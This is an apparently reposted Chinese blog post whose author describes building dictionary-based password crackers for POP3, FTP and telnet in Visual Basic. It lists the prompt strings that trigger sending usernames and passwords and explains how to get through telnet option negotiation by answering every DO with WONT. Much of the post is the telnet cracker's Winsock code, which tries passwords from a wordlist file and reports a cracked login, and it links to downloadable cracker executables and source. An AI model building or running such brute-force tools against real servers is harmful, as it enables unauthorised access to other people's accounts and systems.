| 关键词: nbsp 口令 iDataLength iNegotiateDataCo 协商 Text 命令 txtMoniter 字符串 vbCrLf |
记得当年见到天行网络刺客的时候,景仰的不得了。老想着知道是怎么做出来的。前两天用VB的winsock 控件,用的顺手,竟一发不可收拾,干脆把pop3、ftp、telnet的自动破解机都做了一遍。POP3数据发送条件: 收到“assword:”字符串则发送“PASS 用户口令” 收到“-ERR”字符串则发送“USER 用户名” 收到“message”则确认破解成功FTP 数据发送条件: 收到“331”字符串则发送“PASS 用户口令” 收到“230”字符串则发送“USER 用户名” 收到“530”则确认破解成功这两个都非常简单,telnet就有点难了,难在自动破解之前先要进行连接协商,协商选项有那么多,如果每个都判断,然后做响应,程序复杂不说,就这个乱劲就让我头都大了。呵呵,做一个针对telnet的自动口令破解机我都想了半年了,就是这里不想做。今天想了一个简单的办法,就是把服务端发来的协商命令复制,然后再返回去,不过把所有的DO字节全都改成WONT字节。成功完成协商,目前Linux、solaris和AIX都没问题。部分代码如下:------------------Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim bRecieve() As Byte Dim bSend() As Byte Dim iDataLength As Integer Dim iNegotiateDataCount As Integer iDataLength = 0 Winsock1.GetData bRecieve '统计协商命令个数,因为协商命令必以IAC开头,统计IAC个数即可 For i = 0 To bytesTotal - 1 If bRecieve(i) = IAC Then iNegotiateDataCount = iNegotiateDataCount + 1 Next i iNegotiateDataCount = iNegotiateDataCount * 3 - 1 If iNegotiateDataCount 〉 0 Then ReDim bSend(iNegotiateDataCount) As Byte txtMoniter.Text = "" While iDataLength 〈 bytesTotal If iDataLength 〈= iNegotiateDataCount Then '只返回同接受到的协商命令一样长度的应答命令 bSend(iDataLength) = bRecieve(iDataLength) If bSend(iDataLength) = xDO Then bSend(iDataLength) = WONT '嘿嘿,无论服务端要求什么,一律回绝,这是我苦思半年之久的结论 End If txtMoniter.Text = txtMoniter.Text & Chr(bRecieve(iDataLength)) iDataLength = iDataLength + 1 Wend If iNegotiateDataCount 〉 0 Then Winsock1.senddata bSend '返回应答协商命令 If InStr(txtMoniter.Text, "ogin:") 〉 0 Then Winsock1.senddata txtUserid.Text & vbCrLf Exit Sub End If If InStr(txtMoniter.Text, "assword:") 〉 0 Then If Not EOF(iFileIn) Then Call senddata Else Call cmdStop_Click txtHint.Text = vbCrLf & " 口令字典中所有口令已经测试完毕,没有匹配的口令被发现!@#$@!$#@!$!@#$#@" & _ vbCrLf & " 请换一个口令文件后重新来过!" End If Exit Sub End If If InStr(txtMoniter.Text, "sh:") Then '这里的成功确认字符串应该仔细考虑,本来是"$",但对中文系统不管用,只好用错命令的方法 MsgBox "Have got it!!!" & vbCrLf & strSend Call cmdStop_Click txtHint.Text = vbCrLf & " 哈哈!口令破解成功:" & vbCrLf & " " & "USER " & txtUserid.Text & vbCrLf & " " & strSend End IfEnd Sub------------------可执行文件(都20k 左右): http://cim.nankai.edu.cn/download/telnetcracker.exe http://cim.nankai.edu.cn/download/pop3cracker.exe http://cim.nankai.edu.cn/download/ftpcracker.exe为了配合自动破解机的使用,做了一个口令检索系统,把这些可执行程序集成一起了,内含一个简易的口令生成器。源码和可执行文件(所有)都打包放在: http://cim.nankai.edu.cn/download/passwdmanager.zip ; (177k)本来想做一个安装文件,但做出来一看,居然有20M,就算了。如果这里的可执行文件有人下载后运行不了,自己想办法吧。最简单的办法:装上VB肯定就都能用了:) 。都是单线程的,等以后有机会看看能不能改成多线程吧。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|